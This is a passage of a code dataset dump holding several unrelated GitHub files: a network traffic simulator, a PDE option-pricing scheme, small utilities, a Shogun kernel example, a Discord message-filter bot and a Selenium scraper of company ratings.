node_pair[1])]['max_channel_capacity'],0):\n channel_used = True\n break\n else:\n continue\n\n return channel_used\n \n # @ray.remote\n def set_up_connection(self, flow, num_decimals=6):\n '''\n Sets up connection between src-dst node pair by removing capacity from\n all edges in path connecting them. Also updates graph's global curr \n network capacity used property\n \n Args:\n - flow (dict): flow dict containing flow info to set up\n '''\n if flow['can_schedule'] == 0:\n raise Exception('Tried to set up flow {}, but this flow cannot yet be scheduled (can_schedule == 0)! Scheduler should not be giving invalid chosen flow sets to the environment.'.format(flow)) \n\n path = flow['path']\n channel = flow['channel']\n flow_size = flow['size']\n packet_size = flow['packet_size']\n packets = flow['packets']\n packets_this_slot = flow['packets_this_slot']\n\n info_to_transfer_this_slot = packets_this_slot * packet_size\n capacity_used_this_slot = round(info_to_transfer_this_slot / self.slot_size, num_decimals) # info units of this flow transferred this time slot == capacity used on each channel in flow's path this time slot\n\n\n edges = self.get_path_edges(path)\n num_edges = len(edges)\n for edge in range(num_edges):\n node_pair = edges[edge]\n\n # check that establishing this flow is valid given edge capacity constraints\n if self.network[node_pair[0]][node_pair[1]]['{}_to_{}_port'.format(node_pair[0], node_pair[1])]['channels'][channel] - capacity_used_this_slot < 0:\n raise Exception('Tried to set up flow {} on edge {} channel {}, but this results in a negative channel capacity on this edge i.e. this edge\\'s channel is full, cannot have more flow packets scheduled! Scheduler should not be giving invalid chosen flow sets to the environment.'.format(flow, node_pair, channel)) \n\n # update edge capacity remaining after establish this flow\n self.network[node_pair[0]][node_pair[1]]['{}_to_{}_port'.format(node_pair[0], node_pair[1])]['channels'][channel] -= capacity_used_this_slot\n self.network[node_pair[0]][node_pair[1]]['{}_to_{}_port'.format(node_pair[0], node_pair[1])]['channels'][channel] = round(self.network[node_pair[0]][node_pair[1]]['{}_to_{}_port'.format(node_pair[0], node_pair[1])]['channels'][channel], num_decimals)\n\n if self.track_link_concurrent_demands_evolution:\n self.update_link_concurrent_demands_evolution(node_pair, num_concurrent_demands_to_add=1)\n\n # update global graph property\n self.network.graph['curr_nw_capacity_used'] += capacity_used_this_slot\n self.network.graph['num_active_connections'] += 1\n\n # update packets left for this flow\n self.update_flow_packets(flow)\n \n \n\n def take_down_connection(self, flow, num_decimals=6):\n '''\n Removes established connection by adding capacity back onto all edges\n in the path connecting the src-dst node pair. Also updates graph's\n global curr network capacity used property\n\n Args:\n - flow (dict): flow dict containing info of flow to take down\n '''\n path = flow['path']\n channel = flow['channel']\n flow_size = flow['size']\n packet_size = flow['packet_size']\n packets = flow['packets']\n packets_this_slot = flow['packets_this_slot']\n\n info_to_transfer_this_slot = packets_this_slot * packet_size\n capacity_used_this_slot = round(info_to_transfer_this_slot / self.slot_size, num_decimals) # info units of this flow transferred this time slot == capacity used on each channel in flow's path this time slot\n\n edges = self.get_path_edges(path)\n \n num_edges = len(edges)\n for edge in range(num_edges):\n node_pair = edges[edge]\n # update edge property\n # self.network[node_pair[0]][node_pair[1]]['channels'][channel] += capacity_used_this_slot\n # self.network[node_pair[0]][node_pair[1]]['channels'][channel] = round(self.network[node_pair[0]][node_pair[1]]['channels'][channel], num_decimals)\n self.network[node_pair[0]][node_pair[1]]['{}_to_{}_port'.format(node_pair[0], node_pair[1])]['channels'][channel] += capacity_used_this_slot\n self.network[node_pair[0]][node_pair[1]]['{}_to_{}_port'.format(node_pair[0], node_pair[1])]['channels'][channel] = round(self.network[node_pair[0]][node_pair[1]]['channels'][channel], num_decimals)\n\n # update global graph property\n self.network.graph['curr_nw_capacity_used'] -= capacity_used_this_slot\n self.network.graph['num_active_connections'] -= 1\n\n\n def path_cost(self, graph, path, weight=None):\n '''\n Calculates cost of path. If no weight specified, 1 unit of cost is 1\n link/edge in the path\n\n Args:\n - path (list): list of node labels making up path from src to dst\n - weight (dict key): label of weight to be considered when evaluating\n path cost\n\n Returns:\n - pathcost (int, float): total cost of path\n '''\n pathcost = 0\n \n for i in range(len(path)):\n if i > 0:\n edge = (path[i-1], path[i])\n if weight != None:\n pathcost += 1\n # bugged: if in future want 1 edge cost != 1, fix this\n #pathcost += graph[edge[0]][edge[1]][weight]\n else:\n # just count the number of edges\n pathcost += 1\n\n return pathcost\n\n def k_shortest_paths(self, graph, source, target, num_k=None, weight='weight'):\n '''\n Uses Yen's algorithm to compute the k-shortest paths between a source\n and a target node. The shortest path is that with the lowest pathcost,\n defined by external path_cost() function. Paths are returned in order\n of path cost, with lowest past cost being first etc.\n\n Args:\n - source (label): label of source node\n - target (label): label of destination node\n - num_k (int, float): number of shortest paths to compute\n - weight (dict key): dictionary key of value to be 'minimised' when\n finding 'shortest' paths\n\n Returns:\n - A (list of lists): list of shortest paths between src and dst\n '''\n if num_k is None:\n num_k = self.num_k_paths\n\n # Shortest path from the source to the target\n A = [nx.shortest_path(graph, source, target, weight=weight)]\n A_costs = [self.path_cost(graph, A[0], weight)]\n\n # Initialize the heap to store the potential kth shortest path\n B = queue.PriorityQueue()\n\n for k in range(1, num_k):\n # spur node ranges first node to next to last node in shortest path\n try:\n for i in range(len(A[k-1])-1):\n # Spur node retrieved from the prev k-shortest path, k - 1\n spurNode = A[k-1][i]\n # seq of nodes from src to spur node of prev k-shrtest path\n rootPath = A[k-1][:i]\n\n # We store the removed edges\n removed_edges = []\n\n for path in A:\n if len(path) - 1 > i and rootPath == path[:i]:\n # Remove edges of prev shrtest path w/ same root\n edge = (path[i], path[i+1])\n if not graph.has_edge(*edge):\n continue\n removed_edges.append((edge, graph.get_edge_data(*edge)))\n graph.remove_edge(*edge)\n\n # Calculate the spur path from the spur node to the sink\n try:\n spurPath = nx.shortest_path(graph, spurNode, target, weight=weight)\n\n # Entire path is made up of the root path and spur path\n totalPath = rootPath + spurPath\n totalPathCost = self.path_cost(graph, totalPath, weight)\n # Add the potential k-shortest path to the heap\n B.put((totalPathCost, totalPath))\n\n except nx.NetworkXNoPath:\n pass\n\n #Add back the edges that were removed from the graph\n for removed_edge in removed_edges:\n graph.add_edge(\n *removed_edge[0],\n **removed_edge[1]\n )\n\n # Sort the potential k-shortest paths by cost\n # B is already sorted\n # Add the lowest cost path becomes the k-shortest path.\n while True:\n try:\n cost_, path_ = B.get(False)\n if path_ not in A:\n A.append(path_)\n A_costs.append(cost_)\n break\n except queue.Empty:\n break\n except IndexError:\n pass\n \n \n\n return A \n\n def save_sim(self, \n path, \n name=None, \n overwrite=False, \n zip_data=True, \n print_times=True):\n '''\n Save self (i.e. object) using pickle\n '''\n start = time.time()\n if name is None:\n name = 'sim_jobcentric_{}'.format(str(self.num_demands), str(self.job_centric))\n else:\n # name already given\n pass\n \n filename = path+name+'.obj'\n if overwrite:\n # overwrite prev saved file\n pass\n else:\n # avoid overwriting\n v = 2\n while os.path.exists(str(filename)):\n filename = path+name+'_v{}'.format(v)+'.obj'\n v += 1\n if zip_data:\n filehandler = bz2.open(filename, 'wb')\n else:\n filehandler = open(filename, 'wb')\n pickle.dump(dict(self.__dict__), filehandler)\n filehandler.close()\n end = time.time()\n if print_times:\n print('Time to save sim: {}'.format(end-start))\n\n \n\n\n\n\nclass RepresentationGenerator:\n def __init__(self, env):\n self.env = env\n \n # init network params\n self.num_endpoints, self.num_pairs, self.endpoint_to_index, self.index_to_endpoint = tools.get_network_params(env.network.graph['endpoints'])\n self.ep_label = env.network.graph['endpoint_label']\n \n # init onehot encoding\n self.onehot_endpoints, self.endpoint_to_onehot = self.onehot_encode_endpoints()\n self.onehot_paths, self.path_to_onehot = self.onehot_encode_paths()\n self.num_paths = len(self.onehot_paths[0]) \n\n # get init representation to get action embedding size\n init_rep, _ = self.gen_machine_readable_network_observation(self.env.network, return_onehot_vectors=False, dtype=tf.float16)\n self.num_actions = tf.shape(init_rep)[0]\n self.action_embedding_size = tf.shape(init_rep)[1]\n \n def onehot_encode_endpoints(self):\n onehot_endpoints = tf.one_hot(indices=list(self.index_to_endpoint.keys()), depth=self.num_endpoints)\n endpoint_to_onehot = {endpoint: onehot for endpoint, onehot in zip(self.index_to_endpoint.values(), onehot_endpoints)}\n \n return onehot_endpoints, endpoint_to_onehot\n \n def onehot_encode_paths(self):\n num_k_paths = self.env.num_k_paths\n all_paths = []\n for src in self.endpoint_to_index.keys():\n for dst in self.endpoint_to_index.keys():\n if src == dst:\n pass\n else:\n paths = self.env.k_shortest_paths(self.env.network, src, dst)\n for path in paths:\n if path[::-1] not in all_paths and path not in all_paths:\n all_paths.append(path)\n indices = [i for i in range(len(all_paths))]\n self.path_to_index = {json.dumps(path): index for path, index in zip(all_paths, indices)}\n self.index_to_path = {index: json.dumps(path) for index, path in zip(indices, all_paths)}\n onehot_paths = tf.one_hot(indices=list(self.index_to_path.keys()), depth=len(all_paths))\n path_to_onehot = {path: onehot for path, onehot in zip(self.index_to_path.values(), onehot_paths)}\n \n return onehot_paths, path_to_onehot \n\n def conv_human_readable_flow_to_machine_readable_flow(self, flow, return_onehot_vectors=False, dtype=tf.float32):\n machine_readable_flow = {}\n\n if return_onehot_vectors:\n # return onehot vector\n machine_readable_flow['src'] = tf.cast(self.endpoint_to_onehot[flow['src']], dtype=dtype)\n machine_readable_flow['dst'] = tf.cast(self.endpoint_to_onehot[flow['dst']], dtype=dtype)\n else:\n # return int\n machine_readable_flow['src'] = tf.cast(self.endpoint_to_index[flow['src']], dtype=dtype)\n machine_readable_flow['dst'] = tf.cast(self.endpoint_to_index[flow['dst']], dtype=dtype)\n try:\n if return_onehot_vectors:\n machine_readable_flow['path'] = tf.cast(self.path_to_onehot[json.dumps(flow['path'])], dtype=dtype)\n else:\n machine_readable_flow['path'] = tf.cast(self.path_to_index[json.dumps(flow['path'])], dtype=dtype)\n except KeyError:\n if return_onehot_vectors:\n machine_readable_flow['path'] = tf.cast(self.path_to_onehot[json.dumps(flow['path'][::-1])], dtype=dtype)\n else:\n machine_readable_flow['path'] = tf.cast(self.path_to_index[json.dumps(flow['path'][::-1])], dtype=dtype)\n machine_readable_flow['size'] = tf.cast(flow['size'], dtype=dtype)\n if flow['packets'] is None:\n machine_readable_flow['packets'] = tf.cast(-1, dtype=dtype)\n else:\n # machine_readable_flow['packets'] = tf.cast(len(flow['packets']), dtype=dtype)\n machine_readable_flow['packets'] = tf.cast(flow['packets'], dtype=dtype)\n machine_readable_flow['time_arrived'] = tf.cast(flow['time_arrived'], dtype=dtype)\n machine_readable_flow['selected'] = tf.cast(0, dtype=dtype)\n machine_readable_flow['null_action'] = tf.cast(0, dtype=dtype)\n machine_readable_flow['flow_present'] = tf.cast(1, dtype=dtype)\n\n return machine_readable_flow\n \n def gen_machine_readable_network_observation(self, network_observation, return_onehot_vectors=False, dtype=tf.float32):\n '''\n If return_onehot_vectors is False, rather than returning one hot encodings,\n will return discrete indices of variables. This is useful for gym.spaces.Discrete()\n observation spaces which automatically one-hot encode Discrete observation space variables.\n '''\n self.time_gen_machine_readable_start = time.time()\n\n num_placeholder_flows = self.num_endpoints * self.env.max_flows * (self.num_endpoints - 1)\n num_actions = num_placeholder_flows * self.env.num_k_paths\n \n # init action representations with empty (no) flows\n action_indices = [i for i in range(num_actions)]\n if return_onehot_vectors:\n # any discrete vars should be onehot encoded\n action_dict = {index: {'src': tf.cast(tf.zeros(len(self.onehot_endpoints[0])), dtype=dtype),\n 'dst': tf.cast(tf.zeros(len(self.onehot_endpoints[0])), dtype=dtype),\n 'path': tf.cast(tf.zeros(len(self.onehot_paths[0])), dtype=dtype),\n 'size': tf.cast(-1, dtype=dtype),\n 'packets': tf.cast(-1, dtype=dtype),\n 'time_arrived': tf.cast(-1, dtype=dtype),\n 'selected': tf.cast(0, dtype=dtype),\n 'null_action': tf.cast(1, dtype=dtype),\n 'flow_present': tf.cast(0, dtype=dtype)} for index in action_indices}\n else:\n # leave discrete vars as discrete ints\n action_dict = {index: {'src': tf.cast(-1, dtype=dtype),\n 'dst': tf.cast(-1, dtype=dtype),\n 'path': tf.cast(-1, dtype=dtype),\n 'size': tf.cast(-1, dtype=dtype),\n 'packets': tf.cast(-1, dtype=dtype),\n 'time_arrived': tf.cast(-1, dtype=dtype),\n 'selected': tf.cast(0, dtype=dtype),\n 'null_action': tf.cast(1, dtype=dtype),\n 'flow_present': tf.cast(0, dtype=dtype)} for index in action_indices}\n \n # go through network_observation queued flows and update action_dict representations\n action_iterator = iter(action_indices)\n for node in network_observation.nodes:\n if node[:len(self.ep_label)] == self.ep_label:\n queues = network_observation.nodes[node]\n for q in queues.values():\n for i in range(self.env.max_flows):\n idx = next(action_iterator)\n try:\n flow = q['queued_flows'][i]\n paths = self.env.k_shortest_paths(self.env.network, flow['src'], flow['dst'])\n for path in paths:\n # each path is a separate action\n # idx = next(action_iterator)\n flow['path'] = path \n action_dict[idx] = self.conv_human_readable_flow_to_machine_readable_flow(flow, return_onehot_vectors, dtype)\n except IndexError:\n # no more flows in this queue \n pass\n else:\n # not an endpoint node\n pass\n \n # concat each action_dict key's values into single action_vector and stack all action vectors into single tensor\n action_stack = []\n for action in action_dict.keys():\n action_vector = self._stack_list_of_tensors([s for s in action_dict[action].values()], dtype=dtype)\n action_stack.append(action_vector)\n machine_readable_observation = tf.cast(action_stack, dtype=dtype)\n\n self.time_gen_machine_readable_end = time.time()\n \n return machine_readable_observation, action_dict\n\n\n def _stack_list_of_tensors(self, list_of_tensors, dtype=tf.float32):\n stacked_tensor = []\n for tensor in list_of_tensors:\n try:\n # stack each element in tensor\n for el in tensor.numpy():\n stacked_tensor.append(el)\n except TypeError:\n # tensor only has one element\n stacked_tensor.append(tensor.numpy())\n \n return tf.cast(stacked_tensor, dtype=dtype)\n\n\n\n\n\n\n\n\n","repo_name":"cwfparsonson/trafpy","sub_path":"trafpy/manager/src/simulators/dcn.py","file_name":"dcn.py","file_ext":"py","file_size_in_byte":115694,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"75"} +{"seq_id":"43483870854","text":"from mpl_toolkits import mplot3d\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\n\nclass Scheeme:\n\n def __init__(self, time_length : int, space_width : int, dt:float):\n\n assert time_length == space_width, \\\n f\"Expected equal sizes of the space partition and the time partition, got \\\n {time_length}, {space_width} \"\n\n self._zdim = space_width\n self._tdim = time_length\n self._U_list = []\n self._A_plus = np.zeros(shape=(self._zdim - 1, self._zdim - 1))\n self._A_minus = np.zeros(shape=(self._zdim - 1, self._zdim - 1))\n self._a = np.zeros(shape=(1,self._zdim - 1))[0]\n self._u = np.zeros(shape=(self._zdim - 1, 1))\n self._d = np.zeros(self._zdim - 1)\n self._dt = dt\n self._sort_order_call = []\n self._sort_order_put = []\n self._S = []\n self._Q = []\n self._call_put = []\n self._parity = []\n\n\n def populate_sys(self):\n \n # TODO \n # increase definition of A to encompase A(-1/2*d)^-1A(1/2*d)\n # there should also be a matrix for the coefficients a_ij\n\n temp = np.zeros(shape=(self._zdim - 1, self._zdim - 1))\n temp += np.diag(self._a, 0)\n temp += np.diag(-1/2*self._a[1:], -1)\n temp += np.diag(-1/2*self._a[:(len(self._a)-1)], 1)\n temp *= (np.ones(shape=(len(self._d),len(self._d))) * self._d).T\n self._A_plus = temp.copy()\n self._A_minus = -temp.copy()\n self._A_plus += np.diag(np.ones(self._zdim - 1),0) \n self._A_minus += np.diag(np.ones(self._zdim - 1),0) \n\n return 0\n \n \n def calc_gamma(self, time:float, r:float, T:float) -> tuple[float, float]:\n\n gamma = (1 - math.exp(-r*time))/(r*T)*np.ones(self._zdim)\n gamma_next = (1 - math.exp(-r*(time + self._dt)))/(r*T)*np.ones(self._zdim)\n\n return [gamma, gamma_next]\n \n\n def price_calulation(self, S0:float, r:float, sigma:float, t:float):\n \n W = np.random.normal(0, sigma, len(t))\n q = np.ones(len(t))\n self._S = S0*np.exp((r - sigma**2/2)*self._dt*np.cumsum(q) \\\n + sigma*np.sqrt(self._dt)*np.cumsum(W))\n return 0\n\n\n def partition_z(self, S0:float, r:float, sigma:float, K:float, T:float) -> tuple[np.ndarray, np.ndarray]:\n \n # partition t uniformly\n t = np.linspace(0, T, self._tdim)\n self.price_calulation(S0, r, sigma, t)\n Q = np.zeros(len(t)).T\n Q = np.cumsum(self._dt*self._S)\n self._Q = Q\n\n Z_call = []\n Z_call = 1/(r*T)*(1 - np.exp(-r*(t))) + (np.exp(-r*(t))/self._S *(Q/T - K)) \n self._sort_order_call = np.argsort(Z_call)\n Z_call.sort()\n dz_call = np.zeros(len(Z_call) - 1)\n for i in range(len(Z_call) - 1):\n dz_call[i] = Z_call[i + 1] - Z_call[i]\n\n Z_put = []\n Z_put = 1/(r*T)*(1 - np.exp(-r*(t))) + (np.exp(-r*(t))/self._S * (K - Q/T)) \n self._sort_order_put = np.argsort(Z_put)\n Z_put.sort()\n dz_put = np.zeros(len(Z_put) - 1)\n for i in range(len(Z_put) - 1):\n dz_put[i] = Z_put[i + 1] - Z_put[i]\n\n Z = []\n Z.append(Z_call)\n Z.append(Z_put)\n \n dz = []\n dz.append(dz_call)\n dz.append(dz_put)\n\n return [Z, dz]\n\n\n def solve_PDE(self, S0:float, r:float, sigma:float, K:float, T:float):\n \n time = 0\n Z_arr ,dz_arr = self.partition_z(S0, r, sigma, K, T)\n args = [\"call\", \"put\"]\n for Z, dz, arg in zip(Z_arr, dz_arr, args):\n \n self._u = zero_max(Z[:(len(Z)-1)])\n self._U_list.clear()\n self._U_list.append(self._u.copy())\n \n for t in np.linspace(0,T,self._tdim):\n \n if t == 0:\n continue\n\n # TODO \n # provide calculation for aquiring Z -> you've done that \n # Z = ...\n # should be vector, see equation in chat\n self._d = self._dt*np.ones(len(dz))/(dz**2)\n gamma, gamma_next = self.calc_gamma(time, r, T)\n \n temp = ((sigma**2 / 2) * (gamma - Z))\n self._a = temp[:(self._zdim - 1)]\n a_n = ((sigma**2 / 2) * (gamma_next - Z))[self._zdim - 1]\n \n self.populate_sys()\n\n correction = np.zeros(self._zdim - 1).T\n correction[self._zdim - 2] = \\\n (1/2)*self._d[len(dz) - 1]*Z[self._zdim - 1]*(a_n* + temp[self._zdim - 1]) \n \n self._u = np.matmul(np.linalg.inv(self._A_plus),np.matmul(self._A_minus,self._u) + correction) \n self._U_list.append(self._u.copy()) \n time += self._dt\n \n\n self._call_put.append(self.calc_call_put(arg))\n\n self.calc_parity(r, K, T, np.linspace(0,T,self._tdim))\n\n def calc_call_put(self, arg:str) -> np.ndarray:\n \n i = 0\n U = np.zeros(shape=(self._tdim, self._zdim - 1))\n for u in self._U_list:\n U[i][:] = u\n i += 1\n \n temp = np.zeros(self._tdim)\n for i in range(len(temp) - 1):\n temp[i] = U[i][i]\n\n unsorted_u = np.zeros(self._tdim)\n it = 0\n if arg == \"call\":\n for j in self._sort_order_call:\n unsorted_u[it] = temp[j]\n it += 1\n \n if arg == \"put\":\n for j in self._sort_order_put:\n unsorted_u[it] = temp[j]\n it += 1\n \n \n return self._S*unsorted_u\n\n def calc_parity(self, r:float, K: float, T:float, t):\n\n self._parity = (1/T)*self._Q*np.exp(-r*(T - t)) \\\n + self._S/(r*T)*(1 - np.exp(-r*(T - t))) - K*np.exp(-r*(T - t))\n return 0\n\n\n def plot(self, T:float, K:float):\n\n x = self._call_put[0]\n y = self._call_put[1]\n t = np.linspace(0,T, self._tdim)\n plt.figure(1)\n plt.plot(t,(x - y))\n plt.plot(t,self._parity)\n plt.xlabel(\"time\")\n plt.ylabel(\"call/put parity\")\n plt.legend(['numerical values', 'theoretical']) \n plt.figure(2)\n plt.plot(t,x)\n plt.plot(t, y)\n plt.xlabel(\"time\")\n plt.ylabel(\"call/put option\")\n plt.legend(['call', 'put'])\n plt.figure(3)\n plt.plot(t,self._S)\n plt.plot(t,K*np.ones(len(t)))\n plt.xlabel(\"time\")\n plt.ylabel(\"price\")\n plt.legend(['stock price', 'strike price'])\n plt.show()\n return 0\n\n # def plot\n\ndef zero_max(arr:np.ndarray) -> np.ndarray:\n \"\"\"\n Input: vector\n Output: vector\n\n Replaces values < 0 with 0 in input-vector\n \"\"\"\n new_arr = np.zeros(len(arr))\n\n for i in range(len(arr)):\n \n if arr[i] > 0:\n new_arr[i] = arr[i]\n \n else:\n new_arr[i] = 0\n\n return new_arr\n\n","repo_name":"Witdrew1917/TMA285","sub_path":"Projekt1/DifferenceScheeme.py","file_name":"DifferenceScheeme.py","file_ext":"py","file_size_in_byte":7011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"37909004480","text":"import sys\n\ndef read_txt_file(filepath):\n \"\"\"read text from `filepath` and remove linebreaks\n \"\"\"\n if sys.version > '3':\n with open(filepath,'r',encoding='utf-8') as txt_file:\n return txt_file.readlines()\n else:\n with open(filepath) as txt_file:\n return txt_file.readlines()\n","repo_name":"fbngrm/babelpy","sub_path":"babelpy/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"22296354701","text":"#!/usr/bin/env python\ntraindat = '../data/fm_train_real.dat'\ntestdat = '../data/fm_test_real.dat'\n\nparameter_list=[[traindat,testdat,1.0],[traindat,testdat,1.2]]\n\ndef kernel_io (train_fname=traindat,test_fname=testdat,width=1.9):\n\tfrom tempfile import NamedTemporaryFile\n\timport shogun as sg\n\n\tfeats_train=sg.create_features(sg.read_csv(train_fname))\n\tfeats_test=sg.create_features(sg.read_csv(test_fname))\n\n\tkernel=sg.create_kernel(\"GaussianKernel\", width=width)\n\tkernel.init(feats_train, feats_train)\n\tkm_train=kernel.get_kernel_matrix()\n\ttmp_train_csv = NamedTemporaryFile(suffix='train.csv')\n\tf=sg.read_csv(tmp_train_csv.name, \"w\")\n\tkernel.save(f)\n\tdel f\n\n\tkernel.init(feats_train, feats_test)\n\tkm_test=kernel.get_kernel_matrix()\n\ttmp_test_csv = NamedTemporaryFile(suffix='test.csv')\n\tf=sg.read_csv(tmp_test_csv.name,\"w\")\n\tkernel.save(f)\n\tdel f\n\n\treturn km_train, km_test, kernel\n\nif __name__=='__main__':\n\tprint('Gaussian')\n\tkernel_io(*parameter_list[0])\n","repo_name":"shogun-toolbox/shogun","sub_path":"examples/undocumented/python/kernel_io.py","file_name":"kernel_io.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":2975,"dataset":"github-code","pt":"75"} +{"seq_id":"3562022014","text":"import discord\r\nfrom difflib import SequenceMatcher, get_close_matches\r\nclient = discord.Client()\r\n\r\nhate = 'reddit'\r\nhate2 = 'chungus'\r\n\r\n@client.event\r\nasync def on_ready():\r\n print(\"Working.\")\r\n activity = discord.Game(name='I HATE REDDIT >:(')\r\n await client.change_presence(status=discord.Status.dnd, activity=activity)\r\n\r\n@client.event\r\nasync def on_message(message):\r\n\r\n \r\n msglower = message.content.lower()\r\n seq = SequenceMatcher(a=hate, b=msglower)\r\n seq2 = SequenceMatcher(a=hate2, b=msglower)\r\n \r\n print('Reddit ratio :', seq.ratio())\r\n print('Chungus ratio :', seq2.ratio())\r\n print(message.author,\":\", message.content)\r\n if 'reddit.com' in msglower or 'redd.it' in msglower:\r\n \tprint(\"CLOSE CALL\")\r\n \treturn\r\n elif seq.ratio() >= 0.7000000: # reddit\r\n \tawait message.delete()\r\n \tprint(\"REDDIT DETECTED\")\r\n elif seq2.ratio() >= 0.7000000: # chungus\r\n await message.delete()\r\n print(\"CHUNGUS DETECTED\")\r\n\r\n\r\nclient.run('TOKEN')\r\n","repo_name":"slbailey1/antiredd-botpy","sub_path":"ban_reddit.py","file_name":"ban_reddit.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"1319543865","text":"class Solution:\n def isPalindrome(self, x: int) -> bool:\n n = str(x)\n l = len(n)\n \n out = True\n for i in range(0,int(round(l/2,0))):\n # print(f\"i={i} {n[i]} vs {n[l-i-1]}\")\n out = out and (n[i] == n[l-i-1])\n return out\n ","repo_name":"sbeignez/LeetCode","sub_path":"palindrome-number/palindrome-number.py","file_name":"palindrome-number.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5912100084","text":"from os import error\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\n# from selenium.common.exceptions import NoSuchElementException, ElementNotInteractableException\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\noptions = webdriver.ChromeOptions()\r\noptions.headless = True\r\noptions.add_argument(\"window-size=1920x1080\")\r\n# options.add_argument(\"user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36\")\r\n\r\nbrowser = webdriver.Chrome()\r\nbrowser.maximize_window\r\n\r\ndf_comp_demo = pd.read_csv('preprocessed_df_comp_demo.csv', encoding='cp949', header=0)\r\n\r\n# 데이터 분할\r\ndiv = int(len(df_comp_demo)/10)\r\ndf_comp_demo_01 = df_comp_demo[:div]\r\ndf_comp_demo_02 = df_comp_demo[div:div*2]\r\ndf_comp_demo_03 = df_comp_demo[div*2:div*3]\r\ndf_comp_demo_04 = df_comp_demo[div*3:div*4]\r\ndf_comp_demo_05 = df_comp_demo[div*4:div*5]\r\ndf_comp_demo_06 = df_comp_demo[div*5:div*6]\r\ndf_comp_demo_07 = df_comp_demo[div*6:div*7]\r\ndf_comp_demo_08 = df_comp_demo[div*7:div*8]\r\ndf_comp_demo_09 = df_comp_demo[div*8:div*9]\r\ndf_comp_demo_10 = df_comp_demo[div*9:]\r\n\r\n# 해당 데이터셋 다시 분할\r\ndiv = int(len(df_comp_demo_07)/10)\r\ndf_comp_demo_07_01 = df_comp_demo_07[:div]\r\ndf_comp_demo_07_02 = df_comp_demo_07[div:div*2]\r\ndf_comp_demo_07_03 = df_comp_demo_07[div*2:div*3]\r\ndf_comp_demo_07_04 = df_comp_demo_07[div*3:div*4]\r\ndf_comp_demo_07_05 = df_comp_demo_07[div*4:div*5]\r\ndf_comp_demo_02_06 = df_comp_demo_02[div*5:div*6]\r\ndf_comp_demo_07_07 = df_comp_demo_07[div*6:div*7]\r\ndf_comp_demo_07_08 = df_comp_demo_07[div*7:div*8]\r\ndf_comp_demo_07_09 = df_comp_demo_07[div*8:div*9]\r\ndf_comp_demo_07_10 = df_comp_demo_07[div*9:]\r\n\r\n\r\n# print(df_comp_demo.head(5))\r\n\r\nnames = df_comp_demo_02_06['기업명'] # 02,\r\n# names = [\"(주)윤커뮤니케이션즈\", \"(주)키삭\",\"(주)픽스다인웨이메이커\", \"(주)소프트넷\"] # 샘플\r\n\r\n# print(names)\r\n\r\n\r\ncompany_names = []\r\ntotal_rates = []\r\nsalary_rates = []\r\nbalance_rates = []\r\nculture_rates = []\r\npromotion_rates = []\r\nexecutives_rates = []\r\nrecommendation_rates = []\r\nCEO_rates = []\r\ngrowth_rates = []\r\n\r\nfor name in names:\r\n url = \"https://www.jobplanet.co.kr/welcome/index\"\r\n headers = {\"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36\"}\r\n\r\n browser.get(url)\r\n\r\n elem = browser.find_element_by_class_name(\"input_search\")\r\n elem.click()\r\n elem.send_keys(name)\r\n elem.send_keys(Keys.ENTER)\r\n time.sleep(2)\r\n\r\n\r\n elem02 = browser.find_element_by_class_name(\"tit\")\r\n try:\r\n elem02.click()\r\n time.sleep(2)\r\n except Exception as e:\r\n print(\"등록할 수 없는 기업 : {}\".format(name), e)\r\n continue\r\n\r\n soup = BeautifulSoup(browser.page_source, \"lxml\")\r\n # print(soup)\r\n\r\n company_names.append(name)\r\n\r\n total_rate = soup.find(\"span\", attrs={\"class\":\"rate_point\"})\r\n if total_rate:\r\n total_rate = total_rate.get_text()\r\n total_rates.append(total_rate)\r\n else:\r\n # elem = browser.find_element_by_class_name('btn_close_x_ty1 ')\r\n \r\n # elem.click()\r\n\r\n elem03 = browser.find_element_by_class_name(\"viewReviews\")\r\n elem03.click()\r\n time.sleep(2)\r\n soup = BeautifulSoup(browser.page_source, \"lxml\")\r\n total_rate = soup.find(\"span\", attrs={\"class\":\"rate_point\"})\r\n total_rate = total_rate.get_text()\r\n total_rates.append(total_rate)\r\n # print(\"total_rates:\", total_rates)\r\n\r\n # try:\r\n # total_rate = total_rate.get_text()\r\n # total_rates.append(total_rate)\r\n # except Exception as e:\r\n # elem03 = browser.find_element_by_class_name(\"viewReviews\")\r\n # elem03.click()\r\n # total_rate = soup.find(\"span\", attrs={\"class\":\"rate_point\"})\r\n # total_rate = total_rate.get_text()\r\n # total_rates.append(total_rate)\r\n # # print(\"{}의 total_rates 불러오기 실패 :\".format(name), e)\r\n # # total_rates.append(np.nan)\r\n # pass\r\n # print(total_rates)\r\n\r\n try:\r\n rates = soup.find_all(\"span\", attrs={\"class\":\"txt_point\"})\r\n # print(rates)\r\n\r\n i = 1\r\n for rate in rates:\r\n score = rate.get_text()\r\n if i == 1:\r\n salary_rates.append(score)\r\n elif i == 2:\r\n balance_rates.append(score)\r\n elif i == 3:\r\n culture_rates.append(score)\r\n elif i == 4:\r\n promotion_rates.append(score)\r\n elif i == 5:\r\n executives_rates.append(score)\r\n elif i == 6:\r\n recommendation_rates.append(score)\r\n elif i == 7:\r\n CEO_rates.append(score)\r\n else:\r\n growth_rates.append(score)\r\n\r\n\r\n i+=1\r\n # print(score)\r\n # print()\r\n except Exception as e:\r\n print(\"{} 기업의 세분화 점수 부재\".format(name))\r\n salary_rates.append(np.nan)\r\n 